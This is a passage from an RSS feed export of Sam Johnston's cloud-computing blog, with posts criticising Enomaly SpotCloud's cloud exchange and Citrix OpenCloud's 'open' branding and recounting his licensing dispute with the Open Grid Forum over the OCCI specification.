Upon closer examination of the &lt;s&gt;Zimory&lt;/s&gt;&lt;i&gt;Enomaly SpotCloud&lt;/i&gt;&amp;nbsp;platform it appears to be nothing more than a&lt;s&gt;n open source&amp;nbsp;hybrid&lt;/s&gt; cloud computing platform with an "ebay" marketing spin. So lets for a moment assume that a Commodity Cloud Exchange is a service that businesses actually want. (I'm not convinced they do) If this is the case, is a random start-up such as &lt;s&gt;Zimory&lt;/s&gt;&lt;i&gt;Enomaly&lt;/i&gt; really in a position to offer such a service? And if so, should this exchange look like ebay or should it look more like a traditional commodities exchange? My opinion is the latter. What worries me about such a cloud exchange is the first thought that comes to mind is Enron, who attempted a similar bandwidth focused offering in the late 90's.&lt;br /&gt;
&lt;br /&gt;
If we truly want to enable a cloud computing exchange / marketplace, maybe a better choice would be to build upon an existing exchange platform with a proven history. A platform with an existing level of trust, governance as well as compliance such as the Chicago Mercantile Exchange's Globex electronic trading platform or even the NasDaq.&lt;br /&gt;
&lt;br /&gt;
Creating a cloud exchange has less to do with the technology and more to do with the concept of trust and accountability. If I'm going to buy XX amount of regional capacity for my Christmas rush I want to rest assured that the capacity will be actually available. And more importantly at a quality of service and location that I've agreed upon. I also need to be assured that the exchange is financially stable and will remain in business for the foreseeable future. All of which &lt;s&gt;Zimory&lt;/s&gt;&lt;i&gt;Enomaly's SpotCloud&lt;/i&gt; doesn't offer.&lt;br /&gt;
&lt;br /&gt;
Trust and security aside, To make &lt;s&gt;Zimory&lt;/s&gt;&lt;i&gt;Enomaly SpotCloud&lt;/i&gt; attractive, they need to enable a marketplace that allows its users to buy additional capacity based on economic / costing factors that matter. For example being able to define a daily budget for your app, similar to the way AdWords spending works. There needs to be a fine-grained control over this budget so you can apply it across CPU, network bandwidth, disk storage, location with a focus on future requirements (futures). I should be able to trade / swap any unused capacity as easily as I originally bought it. There needs to be provider quota system that allows for the assurance that a certain amount of cloud capacity is always available to the "exchange" with a priority level. There should be multiple types of trading contracts as well as an indepth audit trail with a clear level of transparency within the entire trading process.&lt;br /&gt;
&lt;br /&gt;
At the end of the day, I'm not convinced we're ready for "standardized" cloud exchanges. The cloud computing industry is still emerging, there are no agreed upon standards for how we as an industry can collaborate as partners yet alone trade capacity. In a lot of ways I feel &lt;s&gt;Zimory&lt;/s&gt;&lt;i&gt;Enomaly&lt;/i&gt; is putting the cart before the horse and is probably 5-10 years too early.&lt;/blockquote&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-5298043358442889846?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=lDmuaLTR1f8:_e-9c5MtD7E:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=lDmuaLTR1f8:_e-9c5MtD7E:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=lDmuaLTR1f8:_e-9c5MtD7E:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=lDmuaLTR1f8:_e-9c5MtD7E:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=lDmuaLTR1f8:_e-9c5MtD7E:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=lDmuaLTR1f8:_e-9c5MtD7E:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=lDmuaLTR1f8:_e-9c5MtD7E:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=lDmuaLTR1f8:_e-9c5MtD7E:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=lDmuaLTR1f8:_e-9c5MtD7E:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/lDmuaLTR1f8" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2011-10-28T20:14:35.203+02:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">5</thr:total><feedburner:origLink>http://samj.net/2010/11/enomalys-spotcloud-and-case-against.html</feedburner:origLink></item><item><title>Citrix OpenCloud™ is neither Open nor Cloud</title><link>http://feedproxy.google.com/~r/samj/~3/wFGUZIYAFG0/citrix-opencloud-is-neither-open-nor.html</link><category>cloud</category><category>opencloud</category><category>citrix</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Fri, 03 Sep 2010 05:18:25 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-5998039897578383685</guid><description>I've been busying myself recently establishing the &lt;a href="http://www.opencloudinitiative.org/"&gt;Open Cloud Initiative&lt;/a&gt; which has been working with the community to establish a set of &lt;a href="http://opencloud.googlecode.com/svn/trunk/oci/ocp/open-cloud-principles.html"&gt;principles&lt;/a&gt; outlining what it means to be open cloud. As such Citrix's announcement this week that they were "&lt;i&gt;expanding their leadership in open cloud computing&lt;/i&gt;"(?) with the "Citrix OpenCloud™ Infrastructure platform" was somewhat intriguing, particularly for someone who's worked with Citrix technology for 15 years and actually worked for the company for a few years before leaving to get involved in cloud computing. I was already excited to see them getting involved with &lt;a href="http://openstack.org/"&gt;OpenStack&lt;/a&gt; a few weeks ago as I'm supportive of this project and amazed by the level of community interest and participation, though I was really hoping that they were going to adopt the stack and better integrate it with Xen.&lt;br /&gt;&lt;br /&gt;As usual &lt;a href="http://www.citrix.com/English/NE/news/news.asp?newsID=2303531&amp;amp;ntref=hp_promo_4b"&gt;the release itself&lt;/a&gt; was fluffy and devoid of clear statements as to what any of this really meant, and it doesn't help that Citrix rebrands products more often than many change underwear. Armed with their &lt;a href="http://en.wikipedia.org/wiki/Citrix_Systems#Products"&gt;product catalogue&lt;/a&gt; and information about their previous attempt to crack into the cloud space with &lt;a href="http://www.citrix.com/English/ps2/products/subfeature.asp?contentID=1857312"&gt;Citrix Cloud Center (C3)&lt;/a&gt; I set about trying to decipher the announcement. The first thing that sprung out was the acquisition of &lt;a href="http://www.vmlogix.com/"&gt;VMlogix&lt;/a&gt; - a web based hypervisor management tool targeting lab environments that happens to also support Amazon EC2. Given OpenStack supports the EC2 API, perhaps this is how they plan to manage it as well as Xen "&lt;i&gt;from a single management console&lt;/i&gt;"? Also, as Citrix are about to "&lt;i&gt;add [the] intuitive, self-service interface to its popular XenServer® virtualization platform&lt;/i&gt;" it will be interesting to see how the likes of &lt;a href="http://samj.net/2010/02/private-cloud-security-is-no-security.html"&gt;Enomaly&lt;/a&gt; feel about having a formidable ($10B+) opponent on their turf... not to mention VMware (but apparently &lt;a href="http://community.citrix.com/display/ocb/2010/08/25/VMware+does+NOT+compete+with+Citrix"&gt;VMware does NOT compete with Citrix&lt;/a&gt; - now there's wishful thinking if I've ever seen it!).&lt;br /&gt;&lt;br /&gt;Citrix also claim that customers will be able to "&lt;i&gt;seamlessly manage a mix of public and private cloud workloads from a single management console, even if they span across a variety of different cloud providers&lt;/i&gt;". Assuming they're referring to VMlogix, will it be open sourced? I doubt it... and here's the thing - I don't expect them to. &lt;b&gt;Nobody says Citrix has to be open - VMware certainly aren't and that hasn't kept them from building a $30B+ business. However, if they want to advertise openness as a differentiator then they should expect to be called to justify their claims.&lt;/b&gt; From what I can tell only the Xen hypervisor itself is open source software and it's not at all clear how they plan to "leverage" &lt;a href="http://openvswitch.org/"&gt;Open vSwitch&lt;/a&gt;, nor whether OpenStack is even relevant given they're just planning to manage it from their "single management console". Even then, in a world where IT is delivered as a service rather than a product, the formats and interfaces are far more important than having access to the source itself; Amazon don't make Linux or Xen modifications available for example but that doesn't make them any less useful/successful (which is not to say that an alternative open source implementation like OpenStack isn't important - it absolutely is).&lt;br /&gt;&lt;br /&gt;Then there's the claim that any of this is "cloud"... Sure I can use Intel chips to deliver a cloud &lt;u&gt;service&lt;/u&gt; but does that make Intel chips "cloud"? No. How about Linux (which powers the overwhelming majority of cloud services today)? Absolutely not. So far as I can tell most of the "Citrix OpenCloud Framework" is little more than their existing suite of products &lt;s&gt;cloudwashed&lt;/s&gt; rebranded:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;CloudAccess ~= Citrix Password Manager&lt;/li&gt;&lt;li&gt;CloudBridge ~= Citrix Branch Repeater&lt;/li&gt;&lt;li&gt;On-Demand Apps &amp;amp; Demos ~= XenApp (aka WinFrame aka MetaFrame aka CPS)&lt;/li&gt;&lt;li&gt;On-Demand Desktops ~= XenDekstop&lt;/li&gt;&lt;li&gt;Compliance ~= XenApp &amp;amp; XenDesktop&lt;/li&gt;&lt;li&gt;Onboarding ~= &lt;a href="http://www.citrix.com/English/ne/news/news.asp?newsID=1679371"&gt;Project Kensho&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Disaster Recovery and Dev &amp;amp; Test ~= suites of above&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;At the end of the day Simon Crosby (one of the Xen guys who presumably helped convince Citrix an open source hypervisor was &lt;a href="http://www.internetnews.com/bus-news/article.php/3694511/Citrix-Acquires-XenSource-For-500M.htm"&gt;somehow worth $1/2bn&lt;/a&gt;) has &lt;a href="http://twitter.com/simoncrosby/status/22562558855"&gt;repeatedly&lt;/a&gt; &lt;a href="http://twitter.com/simoncrosby/status/22576029477"&gt;stated&lt;/a&gt; that Citrix OpenCloud™ is (and I quote) "100% open source software", only to backtrack by &lt;a href="http://twitter.com/simoncrosby/status/22658263312"&gt;saying&lt;/a&gt; "&lt;i&gt;any layer of the open stack you can use a proprietary compoent(sic)&lt;/i&gt;" when quizzed about NetScaler, "&lt;i&gt;another key component of the OpenCloud platform&lt;/i&gt;" and &lt;a href="http://twitter.com/citrix_cloud"&gt;@Citrix_Cloud&lt;/a&gt; helpfully clarified that "&lt;i&gt;OPEN means it's plug-compatible with other options, like some open-source gear you cobble together with mobo from Fry's&lt;/i&gt;".&lt;br /&gt;&lt;br /&gt;Maybe they're just getting started down the open road (I hope so), but this isn't my idea of "open" or "cloud" - and certainly not enough to justify calling it "OpenCloud".&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-5998039897578383685?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=wFGUZIYAFG0:5r1pDVz_gDY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=wFGUZIYAFG0:5r1pDVz_gDY:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=wFGUZIYAFG0:5r1pDVz_gDY:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=wFGUZIYAFG0:5r1pDVz_gDY:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=wFGUZIYAFG0:5r1pDVz_gDY:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=wFGUZIYAFG0:5r1pDVz_gDY:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=wFGUZIYAFG0:5r1pDVz_gDY:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=wFGUZIYAFG0:5r1pDVz_gDY:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=wFGUZIYAFG0:5r1pDVz_gDY:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/wFGUZIYAFG0" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-03T14:18:25.653+02:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><enclosure url="http://opencloud.googlecode.com/svn/trunk/oci/ocp/open-cloud-principles.html" length="5673" type="application/xhtml+xml" /><media:content url="http://opencloud.googlecode.com/svn/trunk/oci/ocp/open-cloud-principles.html" fileSize="5673" type="application/xhtml+xml" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>I've been busying myself recently establishing the Open Cloud Initiative which has been working with the community to establish a set of principles outlining what it means to be open cloud. As such Citrix's announcement this week that they were "expanding</itunes:subtitle><itunes:author>Sam Johnston</itunes:author><itunes:summary>I've been busying myself recently establishing the Open Cloud Initiative which has been working with the community to establish a set of principles outlining what it means to be open cloud. As such Citrix's announcement this week that they were "expanding their leadership in open cloud computing"(?) with the "Citrix OpenCloud™ Infrastructure platform" was somewhat intriguing, particularly for someone who's worked with Citrix technology for 15 years and actually worked for the company for a few years before leaving to get involved in cloud computing. I was already excited to see them getting involved with OpenStack a few weeks ago as I'm supportive of this project and amazed by the level of community interest and participation, though I was really hoping that they were going to adopt the stack and better integrate it with Xen. As usual the release itself was fluffy and devoid of clear statements as to what any of this really meant, and it doesn't help that Citrix rebrands products more often than many change underwear. Armed with their product catalogue and information about their previous attempt to crack into the cloud space with Citrix Cloud Center (C3) I set about trying to decipher the announcement. The first thing that sprung out was the acquisition of VMlogix - a web based hypervisor management tool targeting lab environments that happens to also support Amazon EC2. Given OpenStack supports the EC2 API, perhaps this is how they plan to manage it as well as Xen "from a single management console"? Also, as Citrix are about to "add [the] intuitive, self-service interface to its popular XenServer® virtualization platform" it will be interesting to see how the likes of Enomaly feel about having a formidable ($10B+) opponent on their turf... not to mention VMware (but apparently VMware does NOT compete with Citrix - now there's wishful thinking if I've ever seen it!). Citrix also claim that customers will be able to "seamlessly manage a mix of public and private cloud workloads from a single management console, even if they span across a variety of different cloud providers". Assuming they're referring to VMlogix, will it be open sourced? I doubt it... and here's the thing - I don't expect them to. Nobody says Citrix has to be open - VMware certainly aren't and that hasn't kept them from building a $30B+ business. However, if they want to advertise openness as a differentiator then they should expect to be called to justify their claims. From what I can tell only the Xen hypervisor itself is open source software and it's not at all clear how they plan to "leverage" Open vSwitch, nor whether OpenStack is even relevant given they're just planning to manage it from their "single management console". Even then, in a world where IT is delivered as a service rather than a product, the formats and interfaces are far more important than having access to the source itself; Amazon don't make Linux or Xen modifications available for example but that doesn't make them any less useful/successful (which is not to say that an alternative open source implementation like OpenStack isn't important - it absolutely is). Then there's the claim that any of this is "cloud"... Sure I can use Intel chips to deliver a cloud service but does that make Intel chips "cloud"? No. How about Linux (which powers the overwhelming majority of cloud services today)? Absolutely not. So far as I can tell most of the "Citrix OpenCloud Framework" is little more than their existing suite of products cloudwashed rebranded: CloudAccess ~= Citrix Password ManagerCloudBridge ~= Citrix Branch RepeaterOn-Demand Apps &amp;amp; Demos ~= XenApp (aka WinFrame aka MetaFrame aka CPS)On-Demand Desktops ~= XenDekstopCompliance ~= XenApp &amp;amp; XenDesktopOnboarding ~= Project KenshoDisaster Recovery and Dev &amp;amp; Test ~= suites of aboveAt the end of the day Simon Crosby (one of the Xen guys who presumably helped convince Citrix an open source hypervisor was somehow worth $1/2bn) has repe</itunes:summary><itunes:keywords>internet,security,programming,dns,web2,0,enterprise2,0,apple,google,microsoft,linux,unix,saas,networking,free,software,opensource</itunes:keywords><feedburner:origLink>http://samj.net/2010/09/citrix-opencloud-is-neither-open-nor.html</feedburner:origLink></item><item><title>How I tried to keep OCCI alive (and failed miserably)</title><link>http://feedproxy.google.com/~r/samj/~3/7HB9VPAN7Vw/how-i-tried-to-keep-occi-alive-and.html</link><category>occi</category><category>cloud standards</category><category>opencloud</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Fri, 25 Jun 2010 03:25:33 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-2336570515126913072</guid><description>I was going to let this one slide but following a&amp;nbsp;&lt;a href="http://www.ogf.org/pipermail/occi-wg/2010-June/001867.html"&gt;calumniatory missive&lt;/a&gt; to his "followers" by the &lt;a href="http://www.occi-wg.org/"&gt;Open Cloud Computing Interface&lt;/a&gt;'s&amp;nbsp;self-proclaimed&amp;nbsp;"Founder &amp;amp; Chair", Sun refugee &lt;a href="http://twitter.com/befreax"&gt;Thijs Metsch&lt;/a&gt;, I have little choice but to respond in my defense (particularly as "The Chairs" were&amp;nbsp;&lt;a href="http://twitter.com/dizz/status/16397788487"&gt;actively soliciting&lt;/a&gt; followup from others on-list in support).&lt;br /&gt;
&lt;br /&gt;
Basically a debate came to a head that has been &lt;a href="http://www.ogf.org/pipermail/occi-wg/2010-March/001703.html"&gt;brewing on- and off-list&lt;/a&gt; for months regarding the &lt;a href="http://www.ogf.org/"&gt;Open Grid Forum (OGF)&lt;/a&gt;'s attempts to prevent me from licensing &lt;b&gt;my own contributions&lt;/b&gt;&amp;nbsp;(essentially the entire normative specification) under a permissive &lt;a href="http://www.creativecommons.org/"&gt;Creative Commons&lt;/a&gt; license (as an additional option to the &lt;a href="http://www.ogf.org/About/abt_policies_copyright.php"&gt;restrictive OGF license&lt;/a&gt;) and/or submit them to the IETF as previously agreed and as&amp;nbsp;&lt;a href="http://www.ogf.org/documents/GFD.1.pdf"&gt;required by the OGF's own policies&lt;/a&gt;. This was on the grounds that "&lt;i&gt;Most existing cloud computing specifications are available under CC licenses and I don't want to give anyone any excuses to choose another standard over ours&lt;/i&gt;" and that the IETF has an excellent track record of producing high quality, interoperable, open specifications by way of a controlled yet open process. This should come as no surprise to those of you who know&amp;nbsp;I am and will always be a huge supporter of open cloud, open source and open standards.&lt;br /&gt;
&lt;br /&gt;
The OGF process had failed to deliver after over 12 months of deadline extensions - the current spec is frozen in an incomplete state (lacking critical features like collections, search, billing, security, etc.) as a result of being prematurely pushed into public comment, nobody is happy with it (including myself), the community has all but dissipated (except for a few hard core supporters, previously including myself) and software purporting to implement it actually implements something completely different altogether (&lt;a href="http://www.opennebula.org/documentation:rel1.4:occidd"&gt;see for yourself&lt;/a&gt;).&amp;nbsp;There was no light at the end of the tunnel and with both &lt;a href="http://www.gridforum.org/OGF29/"&gt;OGF29&lt;/a&gt; and &lt;a href="http://www.ietf78.nl/home.html"&gt;IETF78&lt;/a&gt;&amp;nbsp;just around the corner I yesterday took a desperate gamble to keep OCCI alive (as a CC-licensed spec, an IETF Internet-Draft or both).&lt;br /&gt;
&lt;br /&gt;
I confirmed that I was well within my rights to revoke any copyright, trademark and other rights previously granted (apparently it was amateur hour as OGF had failed to obtain an irrevocable license from me for my contributions) and volunteered to do so if restrictions on reuse by others weren't lifted and/or the specification submitted to the IETF process as agreed and required by their own policies. Thijs' colleague (and quite probably his boss at &lt;a href="http://www.platform.com/"&gt;Platform Computing&lt;/a&gt;), Christopher Smith (who doubles as OGF's outgoing VP of Standards) promptly responded, questioning my motives (which I can assure you are pure) and issuing a terse legal threat about how the "OGF will protect its rights" (against me over my own contributions no less). Thijs then followed up shortly after saying that they "see the secretary position as vacant from now on" and despite &lt;a href="http://twitter.com/papaspyrou/status/16403013420"&gt;claims to the contrary&lt;/a&gt; I really couldn't give a rats arse about a title bestowed upon me by a past-its-prime organisation struggling (and failing I might add) to maintain relevance. My only concern is that OCCI have a good home and if anything Platform have just captured the sort of control over it as VMware enjoy over DMTF/vCloud, with Thijs being the only remaining active editor.&lt;br /&gt;
&lt;br /&gt;
I thought that would be the end of it and had planned to let sleeping dogs lie until today's disgraceful, childish, coordinated and most of all completely unnecessary&amp;nbsp;&lt;a href="http://www.ogf.org/pipermail/occi-wg/2010-June/001867.html"&gt;attack&lt;/a&gt; on an unpaid volunteer that rambled about "constructive technical debate" and "community driven consensus", thanking me for my "meaningful contributions" but then calling on others to take up the pitchforks by "welcom[ing] any comments on this statement" on- or off-list. The attacks then continued on Twitter with another&amp;nbsp;&lt;a href="http://twitter.com/papaspyrou"&gt;OGF official&lt;/a&gt;&amp;nbsp;claiming that this "&lt;i&gt;was a consensus decision within a group of, say, 20+ active and many many (300+) passive participants&lt;/i&gt;" (despite this being the first any of us had heard of it) and then calling my claims of copyright ownership "&lt;i&gt;genuine bullshit&lt;/i&gt;" and report of an implementor instantly pulling out because they (and I quote) "&lt;i&gt;can't implement something if things are not stable&lt;/i&gt;"&amp;nbsp;a "&lt;i&gt;damn lie&lt;/i&gt;", claiming I was "&lt;i&gt;pissed&lt;/i&gt;" and should "&lt;i&gt;get over it and stop crying&lt;/i&gt;" (needless to say they were promptly blocked).&lt;br /&gt;
&lt;br /&gt;
Anyway as you can see there's more to it than Thijs' diatribe would have you believe and so far as I'm concerned OCCI, at least in it's current form, is long since dead. I &lt;s&gt;am undecided as to whether to revoke&lt;/s&gt; &lt;a href="http://www.ogf.org/pipermail/occi-wg/2010-June/001871.html"&gt;have revoked&lt;/a&gt; OGF's licenses at this time but it probably doesn't matter as they agree I retain the copyrights and I think their chance of success is negligible - nobody in their right mind would implement the product of such a dysfunctional group and those who already did have long since &lt;a href="http://blog.opennebula.org/?p=185"&gt;found&lt;/a&gt; &lt;a href="http://blog.opennebula.org/?p=528"&gt;alternatives&lt;/a&gt;. That's not to say the specification won't live on in another form but now the OGF have decided to go nuclear it's going to have to be in a more appropriate forum - one that furthers the standard rather than constantly holding it back.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update:&lt;/b&gt; My actions have been &lt;a href="http://twitter.com/swardley/status/16457317219"&gt;universally&lt;/a&gt; &lt;a href="http://twitter.com/computergroups/statuses/16722896519"&gt;supported&lt;/a&gt; outside of OGF and &lt;a href="http://blogs.techworld.com/the-virtual-enterprise/2010/06/stormy-cloud/index.htm"&gt;in the press&lt;/a&gt;&amp;nbsp;(and &lt;a href="http://twitter.com/Taggerz/status/16424230882"&gt;here&lt;/a&gt; and &lt;a href="http://twitter.com/swardley/status/16457379060"&gt;here&lt;/a&gt; and &lt;a href="http://twitter.com/rootwyrm/status/16424157159"&gt;here&lt;/a&gt; and &lt;a href="http://twitter.com/wattersjames/status/16423899069"&gt;here&lt;/a&gt;&amp;nbsp;etc.) but unsurprisingly universally criticised from within - right up to the &lt;a href="http://www.ogf.org/pipermail/occi-wg/2010-June/003750.html"&gt;chairman of the board&lt;/a&gt;&amp;nbsp;who claimed it was about trust rather than IPR (BS - I've been crystal clear about my intentions from the very beginning). They've done a bunch of &lt;a href="http://www.ogf.org/pipermail/occi-wg/2010-June/003754.html"&gt;amateur lawyering&lt;/a&gt; and &lt;a href="http://twitter.com/dizz/statuses/16722394918"&gt;announced&lt;/a&gt; that "&lt;i&gt;OCCI&amp;nbsp;is becoming an OGF proposed standard&lt;/i&gt;" but have not been able to show that they were granted a perpetual license to my contributions (they weren't). They've also &lt;a href="http://blogs.techworld.com/the-virtual-enterprise/2010/06/stormy-cloud/index.htm"&gt;said&lt;/a&gt; that "&lt;i&gt;OGF is not really against using Creative Commons&lt;/i&gt;" but clearly have no intention to do so, apparently preferring to test my resolve and, if need be, the efficacy of the DMCA. Meanwhile &lt;a href="http://www.ogf.org/pipermail/occi-wg/2010-June/003758.html"&gt;back at the ranch&lt;/a&gt; the focus is on bright shiny things (RDF/RDFa) rather than getting the existing specification finished.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Protip&lt;/b&gt;: None of this has anything to do with my current employer so let's keep it that way.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-2336570515126913072?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=7HB9VPAN7Vw:UCZ5EDXJ83E:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=7HB9VPAN7Vw:UCZ5EDXJ83E:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=7HB9VPAN7Vw:UCZ5EDXJ83E:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=7HB9VPAN7Vw:UCZ5EDXJ83E:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=7HB9VPAN7Vw:UCZ5EDXJ83E:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=7HB9VPAN7Vw:UCZ5EDXJ83E:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=7HB9VPAN7Vw:UCZ5EDXJ83E:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=7HB9VPAN7Vw:UCZ5EDXJ83E:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=7HB9VPAN7Vw:UCZ5EDXJ83E:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/7HB9VPAN7Vw" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2010-06-25T12:25:33.209+02:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><enclosure url="http://www.ogf.org/documents/GFD.1.pdf" length="286971" type="application/pdf" /><media:content url="http://www.ogf.org/documents/GFD.1.pdf" fileSize="286971" type="application/pdf" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>I was going to let this one slide but following a&amp;nbsp;calumniatory missive to his "followers" by the Open Cloud Computing Interface's&amp;nbsp;self-proclaimed&amp;nbsp;"Founder &amp;amp; Chair", Sun refugee Thijs Metsch, I have little choice but to respond in my def</itunes:subtitle><itunes:author>Sam Johnston</itunes:author><itunes:summary>I was going to let this one slide but following a&amp;nbsp;calumniatory missive to his "followers" by the Open Cloud Computing Interface's&amp;nbsp;self-proclaimed&amp;nbsp;"Founder &amp;amp; Chair", Sun refugee Thijs Metsch, I have little choice but to respond in my defense (particularly as "The Chairs" were&amp;nbsp;actively soliciting followup from others on-list in support). Basically a debate came to a head that has been brewing on- and off-list for months regarding the Open Grid Forum (OGF)'s attempts to prevent me from licensing my own contributions&amp;nbsp;(essentially the entire normative specification) under a permissive Creative Commons license (as an additional option to the restrictive OGF license) and/or submit them to the IETF as previously agreed and as&amp;nbsp;required by the OGF's own policies. This was on the grounds that "Most existing cloud computing specifications are available under CC licenses and I don't want to give anyone any excuses to choose another standard over ours" and that the IETF has an excellent track record of producing high quality, interoperable, open specifications by way of a controlled yet open process. This should come as no surprise to those of you who know&amp;nbsp;I am and will always be a huge supporter of open cloud, open source and open standards. The OGF process had failed to deliver after over 12 months of deadline extensions - the current spec is frozen in an incomplete state (lacking critical features like collections, search, billing, security, etc.) as a result of being prematurely pushed into public comment, nobody is happy with it (including myself), the community has all but dissipated (except for a few hard core supporters, previously including myself) and software purporting to implement it actually implements something completely different altogether (see for yourself).&amp;nbsp;There was no light at the end of the tunnel and with both OGF29 and IETF78&amp;nbsp;just around the corner I yesterday took a desperate gamble to keep OCCI alive (as a CC-licensed spec, an IETF Internet-Draft or both). I confirmed that I was well within my rights to revoke any copyright, trademark and other rights previously granted (apparently it was amateur hour as OGF had failed to obtain an irrevocable license from me for my contributions) and volunteered to do so if restrictions on reuse by others weren't lifted and/or the specification submitted to the IETF process as agreed and required by their own policies. Thijs' colleague (and quite probably his boss at Platform Computing), Christopher Smith (who doubles as OGF's outgoing VP of Standards) promptly responded, questioning my motives (which I can assure you are pure) and issuing a terse legal threat about how the "OGF will protect its rights" (against me over my own contributions no less). Thijs then followed up shortly after saying that they "see the secretary position as vacant from now on" and despite claims to the contrary I really couldn't give a rats arse about a title bestowed upon me by a past-its-prime organisation struggling (and failing I might add) to maintain relevance. My only concern is that OCCI have a good home and if anything Platform have just captured the sort of control over it as VMware enjoy over DMTF/vCloud, with Thijs being the only remaining active editor. I thought that would be the end of it and had planned to let sleeping dogs lie until today's disgraceful, childish, coordinated and most of all completely unnecessary&amp;nbsp;attack on an unpaid volunteer that rambled about "constructive technical debate" and "community driven consensus", thanking me for my "meaningful contributions" but then calling on others to take up the pitchforks by "welcom[ing] any comments on this statement" on- or off-list. The attacks then continued on Twitter with another&amp;nbsp;OGF official&amp;nbsp;claiming that this "was a consensus decision within a group of, say, 20+ active and many many (300+) passive participants" (despite this 